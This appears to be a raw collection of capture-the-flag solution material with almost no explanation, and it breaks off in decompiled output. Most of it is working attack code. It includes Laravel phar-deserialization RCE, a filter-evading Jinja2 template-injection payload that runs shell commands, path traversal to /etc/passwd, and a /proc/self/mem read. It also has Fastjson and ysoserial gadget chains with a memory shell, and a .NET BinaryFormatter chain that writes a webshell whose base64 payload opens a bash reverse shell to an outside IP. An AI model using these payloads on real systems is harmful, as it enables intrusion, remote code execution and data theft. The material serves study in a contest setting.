import vec2text
import torch
from transformers import AutoModel, AutoTokenizer, PreTrainedTokenizer, PreTrainedModel
import pickle

class RagData:
    def __init__(self, embedding_model=None, embeddings=None):
        self.embedding_model = embedding_model
        self.embeddings = embeddings or []

def get_gtr_embeddings(text_list,
                       encoder: PreTrainedModel,
                       tokenizer: PreTrainedTokenizer) -> torch.Tensor:

    inputs = tokenizer(text_list,
                       return_tensors="pt",
                       max_length=128,
                       truncation=True,
                       padding="max_length",).to("cuda")

    with torch.no_grad():
        model_output = encoder(input_ids=inputs['input_ids'], attention_mask=inputs['attention_mask'])
        hidden_state = model_output.last_hidden_state
        embeddings = vec2text.models.model_utils.mean_pool(hidden_state, inputs['attention_mask'])

    return embeddings


encoder = AutoModel.from_pretrained("sentence-transformers/gtr-t5-base").encoder.to("cuda")
tokenizer = AutoTokenizer.from_pretrained("sentence-transformers/gtr-t5-base")
corrector = vec2text.load_pretrained_corrector("gtr-base")

with open('rag_data.pkl', 'rb') as f:
  rag_data = pickle.load(f)


embeddings=rag_data.embeddings
embeddings = torch.tensor(embeddings)
# 查看数据结构
print(embeddings.shape)

vec2text.invert_embeddings(
    embeddings=embeddings.cuda(),
    corrector=corrector,
    num_steps=20,
)

from PIL import Image

def xor_images(img1_path, img2_path, output_path="xor_result.png"):
    # 加载并转换为RGB格式
    img1 = Image.open(img1_path).convert("RGB")
    img2 = Image.open(img2_path).convert("RGB")

    if img1.size != img2.size:
        raise ValueError("图片尺寸不一致，无法进行异或运算")

    w, h = img1.size
    result = Image.new("RGB", (w, h))

    # 每像素逐位异或
    for x in range(w):
        for y in range(h):
            r1, g1, b1 = img1.getpixel((x, y))
            r2, g2, b2 = img2.getpixel((x, y))
            result.putpixel((x, y), (
                r1 ^ r2,
                g1 ^ g2,
                b1 ^ b2
            ))

    result.save(output_path)
    print(f"[+] 已保存异或图像为: {output_path}")

# 示例用法
if __name__ == "__main__":
    xor_images("1.webp", "2.webp", "xor_result.png")

import torch
from torchvision import transforms
from torchvision.models import shufflenet_v2_x1_0, ShuffleNet_V2_X1_0_Weights
from PIL import Image
import json
import requests
import os

def invert_embedding_to_image(embedding_path, output_path, steps=500, lr=0.1):
    # Load model
    model = shufflenet_v2_x1_0(weights=ShuffleNet_V2_X1_0_Weights.IMAGENET1K_V1)
    model.fc = torch.nn.Identity()
    model.eval()

    # Load target embedding
    with open(embedding_path, 'r') as f:
        target_emb = torch.tensor(json.load(f), dtype=torch.float32)

    # Initialize trainable image tensor (noise)
    img = torch.randn(1, 3, 224, 224, requires_grad=True)
    optimizer = torch.optim.Adam([img], lr=lr)

    for step in range(steps):
        optimizer.zero_grad()
        # Sigmoid to bound pixels between 0 and 1
        clipped = img.sigmoid()
        emb = model(clipped)[0]
        loss = torch.nn.functional.mse_loss(emb, target_emb)
        loss.backward()
        optimizer.step()
        if step % 50 == 0:
            print(f'Step {step}, Loss {loss.item():.6e}')

    # Convert to image and save
    result = (clipped.detach().squeeze().permute(1, 2, 0).cpu().numpy() * 255).astype('uint8')
    inv_image = Image.fromarray(result)
    inv_image.save(output_path)
    print(f"Inverted image saved to '{output_path}'")

def upload_and_print_response(image_path, server_url):
    if not os.path.exists(image_path):
        print(f"File '{image_path}' not found.")
        return
    with open(image_path, 'rb') as f:
        files = {'file': f}
        response = requests.post(server_url, files=files)
    try:
        print("Server response:", response.json())
    except ValueError:
        print("Server response (text):", response.text)

if __name__ == "__main__":
    EMB_PATH = 'embedding.json'
    OUT_IMG = 'inverted_image.png'
    SIGNIN_URL = 'http://1.95.8.146:50001/signin/'

    # Step 1: Invert embedding to image
    invert_embedding_to_image(EMB_PATH, OUT_IMG, steps=500, lr=0.1)

    # Step 2: Upload image and print the flag or failure
    upload_and_print_response(OUT_IMG, SIGNIN_URL)

01001100  
00110011  
01001000  
01000011  
01010100  
01000110  
01111011  
01110111  
01100101  
01101100  
01100011  
01101111  
01101101  
01100101  
01011111  
01110100  
01101111  
01011111  
01101100  
00110011  
01101000  
01100011  
01110100  
01100110  
00110010  
00110000  
00110010  
00110101  
01111101

the content of flag is: come on little brave fox
replace lesser o with number zero, letter l with number one
replace lesser a with symbol at
make every lesser e uppercase
use underline to link each word

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o /tmp/phar.gif

cat /tmp/phar.gif | base64 -w 0

POST /api/image/base64 HTTP/1.1
Host: 1.95.8.146:41164
Content-Length: 169
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://1.95.8.146:41164
Referer: http://1.95.8.146:41164/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
 
{"data": "data:image/jpeg;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+"}

POST /_ignition/execute-solution HTTP/1.1
Host: 1.95.8.146:41164
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{
"viewFile":"phar:///var/www/html/public/uploads/images/_uc40mzhOJ6cNEKoF.jpeg/test.txt",
"variableName":"test"
}}

from hashlib import sha1
with open('phar.gif', 'rb') as file:
    f = file.read() 
   
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

with open('phar1.gif', 'wb') as file:
    file.write(newf) # 写入新文件

openssl enc -in "/flag_gogogo_chufalong"

@app.route("/ip_detail/<string:username>", methods=["GET"])
def route_ip_detail(username):
    res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
    if res.status_code != 200:
        return "Get last ip failed."
    last_ip = res.text
    try:
        ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
        country = geoip2_reader.country(ip)
    except (ValueError, TypeError):
        country = "Unknown"
    template = f"""
    <h1>IP Detail</h1>
    <div>{last_ip}</div>
    <p>Country:{country}</p>
    """
    return render_template_string(template)

from werkzeug.middleware.proxy_fix import ProxyFix
app.wsgi_app = ProxyFix(app.wsgi_app)

X-Forwarded-For: 127.0.0.1 {%set ca=e|slice(16)|string|batch(16)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(8)|string|batch(8)|first|last+e|slice(11)|string|batch(11)|first|last+cycler.__doc__[697]+e|pprint|lower|batch(5)|first|last+e|slice(28)|string|batch(28)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(2)|string|batch(2)|first|last%}{{(sbwaf.__eq__.__globals__.sys.modules.os.popen(ca)).read()}}

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
    proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
    proxy_pass http://127.0.0.1:5000;
    proxy_cache static;
    proxy_cache_valid 200 302 30d;
}

location ~ .*\.(js|css)?$ {
    proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
    proxy_pass http://127.0.0.1:5000;
    proxy_cache static;
    proxy_cache_valid 200 302 12h;
}

access_by_lua_block {
    local blacklist = {"%.", "/", ";", "flag", "proc"}
    local args = ngx.req.get_uri_args()
    for k, v in pairs(args) do
        for _, b in ipairs(blacklist) do
            if string.find(v, b) then
                ngx.exit(403)
                    end
            end
    end
}

/download?&a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a=information_schemas&filename=../etc/passwd

proxy_pass http://127.0.0.1/static$arg_filename;
body_filter_by_lua_block {
    local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
    for _, b in ipairs(blacklist) do
        if string.find(ngx.arg[1], b) then
            ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
            end
        end
    }
}

init_by_lua_block {
        # 在最后加上一段
        print(tostring(flag))
        local ffi = require("ffi")
        local ptr = ffi.cast("const char*", flag)
        print("Address: ", tostring(ptr))
}

GET /read_anywhere HTTP/1.1
Host: Your_host
X-Gateway-Password: test_password
X-Gateway-Filename: /proc/self/mem
X-Gateway-Start: 0x7e07636f3000
X-Gateway-Length: 0x100000

import com.alibaba.fastjson2.JSONObject;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.org.apache.xpath.internal.objects.XString;


public class Test2 {
    public static void main(String[] args) throws Exception {

        TestObj testObj = new TestObj();
        JSONObject jsonObject1 = new JSONObject();
        jsonObject1.put("g", testObj);
        
        XString xs = new XString("\n");

        HashMap hashMap = new HashMap<>();
        HashMap hashMap2 = new HashMap<>();
        hashMap.put("yy",jsonObject1);
        hashMap.put("zZ", xs);
        hashMap2.put("yy",xs);
        hashMap2.put("zZ",jsonObject1);

        Object obj = makeMap(hashMap, hashMap2);
        serialize(obj);
        unserialize("ser.bin");
    }


    public static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();

    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static HashMap makeMap(Object v1, Object v2) throws Exception {
        HashMap s = new HashMap();
        setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
}

import com.sun.org.apache.xpath.internal.objects.XString;
import common.Reflections;
import common.Util;
import gadgets.*;
import org.example.demo.Utils.MyObject;

import javax.naming.spi.ObjectFactory;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Fastjson4_ObjectFactoryDelegatingInvocationHandler {

    public Object getObject(String cmd) throws Exception {

//        System.setProperty("properXalan", "true");

        Object node1 = TemplatesImplNode.makeGadget(cmd);
        Map map = new HashMap();
        map.put("object", node1);
        Object node2 = JSONObjectNode.makeGadget(2, map);
        Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
                new Class[]{ObjectFactory.class, MyObject.class}, (InvocationHandler) node2);

        Object node3 = makeGadget(proxy1);
        Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
                new Class[]{Templates.class}, (InvocationHandler) node3);
        Object node4 = JsonArrayNode.makeGadget(2, proxy2);
//       Object node5 = BadAttrValExeNode.makeGadget(node4);

        Map gadgetChain = makeXStringToStringTrigger(node4);

        Object[] array = new Object[]{node1, gadgetChain};
        Object node6 = HashMapNode.makeGadget(array);
        return node6;
    }

    public static Map makeXStringToStringTrigger(Object o) throws Exception {
        XString x = new XString("\n");

        return makeMap(o, x);
    }

    public static Map makeMap(Object v1, Object v2) throws Exception {
        Map map1 = new HashMap();
        map1.put("yy", v1);
        map1.put("zZ", v2);

        Map map2 = new HashMap();
        map2.put("yy", v2);
        map2.put("zZ", v1);


        HashMap s = new HashMap();
        setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }


    public static void main(String[] args) throws Exception {
        Object object = new Fastjson4_ObjectFactoryDelegatingInvocationHandler().getObject(Util.getDefaultTestCmd());
        byte[] serialize = Util.serialize(object);
        String s = Base64.getEncoder().encodeToString(serialize);
        System.out.println(s);
        System.out.println(s.length());
//        Util.runGadgets(object);
    }

    public static Object makeGadget(Object gadget) throws Exception {
        return Reflections.newInstance("org.example.demo.Utils.MyProxy",
                MyObject.class, gadget);
    }


}

{"@type": "java.util.HashMap","why":"base64 payload"}

package gadgets;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import common.ClassFiles;
import common.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;

import java.io.ByteArrayOutputStream;
import java.io.Serializable;
import java.util.zip.GZIPOutputStream;
import java.util.Base64;

public class TemplatesImplNode {
    public static Object makeGadget(String cmd) throws Exception {
        return createTemplatesImpl(cmd);
    }

    public static Object createTemplatesImpl(final String command) throws Exception {
        Class tplClass;
        Class abstTranslet;
        Class transFactory;
        if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
            tplClass = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
            abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
            transFactory = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
        } else {
            tplClass = TemplatesImpl.class;
            abstTranslet = AbstractTranslet.class;
            transFactory = TransformerFactoryImpl.class;
        }

        Class<?> clazz = Class.forName("memo.FilterMemshell", false, Thread.currentThread().getContextClassLoader());
        return createTemplatesImpl(clazz, (String) null, (byte[]) null, tplClass, abstTranslet, transFactory);

//        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }


    public static <T> T createTemplatesImpl(Class myClass, String command, byte[] bytes, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
        T templates = (T) tplClass.newInstance();
        byte[] classBytes = new byte[0];
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
        CtClass superC = pool.get(abstTranslet.getName());

        if (myClass != null) {
            CtClass ctClass = pool.get(myClass.getName());
            ctClass.setSuperclass(superC);
            ctClass.setName(myClass.getName() + System.nanoTime());
            classBytes = ctClass.toBytecode();
        }

        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
        Reflections.setFieldValue(templates, "_name", "ysoserial.Pwner" + System.nanoTime());
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }


    public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replace("\\", "\\\\").replace("\"", "\\\"") +
                "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
                classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

    public static class Foo implements Serializable {

        private static final long serialVersionUID = 8207363842866235160L;
    }

    public static class StubTransletPayload extends AbstractTranslet implements Serializable {

        private static final long serialVersionUID = -5971610431559700674L;


        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }


        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
    }
}

using ClassLibrary1;
using ClassLibrary1.Beans;
using ClassLibrary1.Transform;
using ClassLibrary1.Utils;
using System;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;

public class AdvancedTestPayloadGenerator
{
    static void Main(string[] args)
    {
        string base64 = Generate();
        Console.WriteLine("=== Generated BinaryFormatter Payload (Base64) ===");
        Console.WriteLine(base64);
        Console.WriteLine("=== End ===");
    }

    public static object Deserialize(string s)
    {
        AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowFileWrites", true);
        object obj;
        using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(s)))
        {
            object deserialize = new BinaryFormatter
            {
                Binder = new MySecBinder()
            }.Deserialize(memoryStream);
            obj = deserialize;
        }
        return obj;
    }
    public static string Generate()
    {
        string base64String = "QHsKICAgIExheW91dCA9IG51bGw7CiAgICBzdHJpbmcgb3V0cHV0ID0gIiI7CiAgICB0cnkKICAgIHsKICAgICAgICB2YXIgcHJvY2Vzc0Fzc2VtYmx5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MiKTsKICAgICAgICB2YXIgcHNpVHlwZSA9IHByb2Nlc3NBc3NlbWJseS5HZXRUeXBlKCJTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzc1N0YXJ0SW5mbyIpOwogICAgICAgIHZhciBwcm9jZXNzVHlwZSA9IHByb2Nlc3NBc3NlbWJseS5HZXRUeXBlKCJTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyIpOwogICAgICAgIHZhciBwc2kgPSBTeXN0ZW0uQWN0aXZhdG9yLkNyZWF0ZUluc3RhbmNlKHBzaVR5cGUpOwogICAgICAgIHBzaVR5cGUuR2V0UHJvcGVydHkoIkZpbGVOYW1lIikuU2V0VmFsdWUocHNpLCAiYmFzaCIpOwogICAgICAgIHBzaVR5cGUuR2V0UHJvcGVydHkoIkFyZ3VtZW50cyIpLlNldFZhbHVlKHBzaSwgIi1jIFwiYmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjIuNTEuMTM3Lzk5OTkgMD4mMVwiIik7CiAgICAgICAgcHNpVHlwZS5HZXRQcm9wZXJ0eSgiUmVkaXJlY3RTdGFuZGFyZE91dHB1dCIpLlNldFZhbHVlKHBzaSwgdHJ1ZSk7CiAgICAgICAgcHNpVHlwZS5HZXRQcm9wZXJ0eSgiUmVkaXJlY3RTdGFuZGFyZEVycm9yIikuU2V0VmFsdWUocHNpLCB0cnVlKTsKICAgICAgICBwc2lUeXBlLkdldFByb3BlcnR5KCJVc2VTaGVsbEV4ZWN1dGUiKS5TZXRWYWx1ZShwc2ksIGZhbHNlKTsKICAgICAgICBwc2lUeXBlLkdldFByb3BlcnR5KCJDcmVhdGVOb1dpbmRvdyIpLlNldFZhbHVlKHBzaSwgdHJ1ZSk7CiAgICAgICAgdmFyIHN0YXJ0TWV0aG9kID0gcHJvY2Vzc1R5cGUuR2V0TWV0aG9kKCJTdGFydCIsIG5ld1tdIHsgcHNpVHlwZSB9KTsKICAgICAgICB2YXIgcHJvY2VzcyA9IHN0YXJ0TWV0aG9kLkludm9rZShudWxsLCBuZXcgb2JqZWN0W10geyBwc2kgfSk7CiAgICAgICAgdmFyIHN0ZE91dFByb3BlcnR5ID0gcHJvY2Vzc1R5cGUuR2V0UHJvcGVydHkoIlN0YW5kYXJkT3V0cHV0Iik7CiAgICAgICAgdmFyIHN0ZE91dFJlYWRlciA9IChTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyKXN0ZE91dFByb3BlcnR5LkdldFZhbHVlKHByb2Nlc3MpOwogICAgICAgCiAgICAgICAgb3V0cHV0ID0gc3RkT3V0UmVhZGVyLlJlYWRUb0VuZCgpOwoKICAgICAgICB2YXIgc3RkRXJyUHJvcGVydHkgPSBwcm9jZXNzVHlwZS5HZXRQcm9wZXJ0eSgiU3RhbmRhcmRFcnJvciIpOwogICAgICAgIHZhciBzdGRFcnJSZWFkZXIgPSAoU3lzdGVtLklPLlN0cmVhbVJlYWRlcilzdGRFcnJQcm9wZXJ0eS5HZXRWYWx1ZShwcm9jZXNzKTsKICAgICAgICBzdHJpbmcgZXJyb3JPdXRwdXQgPSBzdGRFcnJSZWFkZXIuUmVhZFRvRW5kKCk7CgogICAgICAgIHZhciB3YWl0Rm9yRXhpdE1ldGhvZCA9IHByb2Nlc3NUeXBlLkdldE1ldGhvZCgiV2FpdEZvckV4aXQiLCBTeXN0ZW0uVHlwZS5FbXB0eVR5cGVzKTsKICAgICAgICB3YWl0Rm9yRXhpdE1ldGhvZC5JbnZva2UocHJvY2VzcywgbnVsbCk7CgogICAgICAgIGlmICghc3RyaW5nLklzTnVsbE9yV2hpdGVTcGFjZShlcnJvck91dHB1dCkpCiAgICAgICAgewogICAgICAgICAgICBvdXRwdXQgKz0gIlxuW3N0ZGVycl1cbiIgKyBlcnJvck91dHB1dDsKICAgICAgICB9CiAgICB9CiAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgewogICAgICAgIG91dHB1dCA9ICLpgJrov4flj43lsITmiafooYzlkb3ku6Tml7blh7rplJk6XG4iICsgZXguVG9TdHJpbmcoKTsKICAgIH0KfQo8cHJlPkBvdXRwdXQ8L3ByZT4=";
        byte[] bytes = Convert.FromBase64String(base64String);
        string payload = System.Text.Encoding.UTF8.GetString(bytes);
        var invokerTransformer0 = new InvokeTransformer
        {
            methodName = "SetMyClass",
            methodParam = new object[] { "System.IO.File, System.IO.FileSystem" },
            typeName = "ClassLibrary1.CompareImpl`1[System.String], ClassLibrary1"
        };
        var invokerTransformer1 = new InvokeTransformer
        {
            methodName = "SetMyMethod",
            methodParam = new object[] { "WriteAllText" },
            typeName = "ClassLibrary1.CompareImpl`1[System.String], ClassLibrary1"
        };
        var invokeTransformer = new InvokeTransformer
        {
            methodName = "MyCompare",
            methodParam = new object[] { "/app/Looking/My/Eyes.cshtml",payload, "w1ndc0me" },
            typeName = "ClassLibrary1.CompareImpl`1[System.String], ClassLibrary1"
        };

        var chainedTransformer = new ChainedTransformer();
        SetPrivateField(chainedTransformer, "_transformers", new InvokeTransformer[] { invokerTransformer0, invokerTransformer1, invokeTransformer });

        var indirectBean = new IndirectBean();
        SetPrivateField(indirectBean, "_transform", chainedTransformer);
        SetPrivateField(indirectBean, "bean", new CompareImpl<string>());

        var entryPointBean = new DirectBean();
        SetPrivateField(entryPointBean, "s", indirectBean);
        var formatter = new BinaryFormatter();
        using (var stream = new MemoryStream())
        {
            formatter.Serialize(stream, entryPointBean);
            return Convert.ToBase64String(stream.ToArray());
        }
    }

    private static void SetPrivateField(object obj, string fieldName, object value)
    {
        Type type = obj.GetType();
        BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Instance;
        FieldInfo field = type.GetField(fieldName, flags);
        field.SetValue(obj, value);
    }
}

@{
    Layout = null;
    string output = "";
    try
    {
        var processAssembly = System.Reflection.Assembly.Load("System.Diagnostics.Process");
        var psiType = processAssembly.GetType("System.Diagnostics.ProcessStartInfo");
        var processType = processAssembly.GetType("System.Diagnostics.Process");
        var psi = System.Activator.CreateInstance(psiType);
        psiType.GetProperty("FileName").SetValue(psi, "bash");
        psiType.GetProperty("Arguments").SetValue(psi, "-c \"bash -i >& /dev/tcp/ip/port 0>&1\"");
        psiType.GetProperty("RedirectStandardOutput").SetValue(psi, true);
        psiType.GetProperty("RedirectStandardError").SetValue(psi, true);
        psiType.GetProperty("UseShellExecute").SetValue(psi, false);
        psiType.GetProperty("CreateNoWindow").SetValue(psi, true);
        var startMethod = processType.GetMethod("Start", new[] { psiType });
        var process = startMethod.Invoke(null, new object[] { psi });
        var stdOutProperty = processType.GetProperty("StandardOutput");
        var stdOutReader = (System.IO.StreamReader)stdOutProperty.GetValue(process);
        output = stdOutReader.ReadToEnd();
        var stdErrProperty = processType.GetProperty("StandardError");
        var stdErrReader = (System.IO.StreamReader)stdErrProperty.GetValue(process);
        string errorOutput = stdErrReader.ReadToEnd();

        var waitForExitMethod = processType.GetMethod("WaitForExit", System.Type.EmptyTypes);
        waitForExitMethod.Invoke(process, null);

        if (!string.IsNullOrWhiteSpace(errorOutput))
        {
            output += "\n[stderr]\n" + errorOutput;
        }
    }
    catch (Exception ex)
    {
        output = "通过反射执行命令时出错:\n" + ex.ToString();
    }
}
<pre>@output</pre>

__int64 __fastcall sub_140001D05(__int64 a1, __int64 a2)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

  sub_140002180(a1, a2);
  sub_14000A510(a1, a2, v2, (unsigned int)v53, v3, v4);
  v58 = get_time(a1, a2, v5, 0, v6, v7);
  if ( v58 > 1751990400 && v58 <= 1752052051 )
  {
    gen_query(a1, a2, v8, (unsigned int)v49, v9, v10);
    v57 = &v54;
    v12 = std::string::c_str(a1, a2, v11, v49);
    v15 = md5(a1, a2, v12, (unsigned int)v53, v13, v14, v41);
    sub_14000A820(a1, a2, v15, (unsigned int)v50, (unsigned int)&v54, v16, v42, v47);
    sub_14000A6E0(a1, a2, v17, (unsigned int)&v54, v18, v19, v43);
    v20 = std::operator<<<std::char_traits<char>>(a1, a2, "query: ", &std::cout);
    v21 = std::operator<<<char>(a1, a2, v49, v20);
    std::ostream::operator<<(a1, a2, &std::endl<char,std::char_traits<char>>, v21);
    v22 = std::operator<<<char>(a1, a2, v50, &std::cout);
    std::ostream::operator<<(a1, a2, &std::endl<char,std::char_traits<char>>, v22);
    std::string::~string(a1, a2, v23, v50);
    std::string::~string(a1, a2, v24, v49);
  }
  std::string::basic_string(a1, a2, v8, v52);
  v25 = std::operator<<<std::char_traits<char>>(a1, a2, "Please input the right query string I used:", &std::cout);
  std::ostream::operator<<(a1, a2, &std::endl<char,std::char_traits<char>>, v25);
  std::operator>><char>(a1, a2, v52, &std::cin);
  v56 = &v55;
  v27 = std::string::c_str(a1, a2, v26, v52);
  v30 = md5(a1, a2, v27, (unsigned int)v53, v28, v29, v41);
  sub_14000A820(a1, a2, v30, (unsigned int)v51, (unsigned int)&v55, v31, v44, v47);
  sub_14000A6E0(a1, a2, v32, (unsigned int)&v55, v33, v34, v45);
  if ( (unsigned __int8)sub_14000A8E0(
                          a1,
                          a2,
                          (unsigned int)"8a2fc1e9e2830c37f8a7f51572a640aa",
                          (unsigned int)v51,
                          v35,
                          v36,
                          v46,
                          v48) )
    v37 = std::operator<<<std::char_traits<char>>(a1, a2, "Congratulations!", &std::cout);
  else
    v37 = std::operator<<<std::char_traits<char>>(a1, a2, "Wrong!", &std::cout);
  std::ostream::operator<<(a1, a2, &std::endl<char,std::char_traits<char>>, v37);
  std::string::~string(a1, a2, v38, v51);
  std::string::~string(a1, a2, v39, v52);
  return 0LL;
}

__int64 __fastcall sub_140001963(
        __time64_t *a1,
        __int64 a2,
        int a3,
        __int64 a4,
        int a5,
        int a6,
        double a7,
        double a8,
        double a9,
        double a10)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

  sub_140001518((_DWORD)a1, a2, a3, (unsigned int)v51, a5, a6);
  time = get_time(a1);
  sub_1400014B5((_DWORD)a1, a2, v10, time, v11, v12);
  v58 = 0;
  v57 = 0;
  v56 = 0;
  v55 = 0;
  for ( i = 0; i < (int)gen_rand(); ++i )
  {
    v58 = gen_rand();
    v57 = gen_rand();
    v56 = gen_rand();
    v55 = gen_rand();
  }
  v52 = gen_rand();
  std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::basic_stringstream(a1, a2, v13, v49);
  v14 = (double)dword_14000B0E0;
  v15 = (double)(int)(v58 | v56);
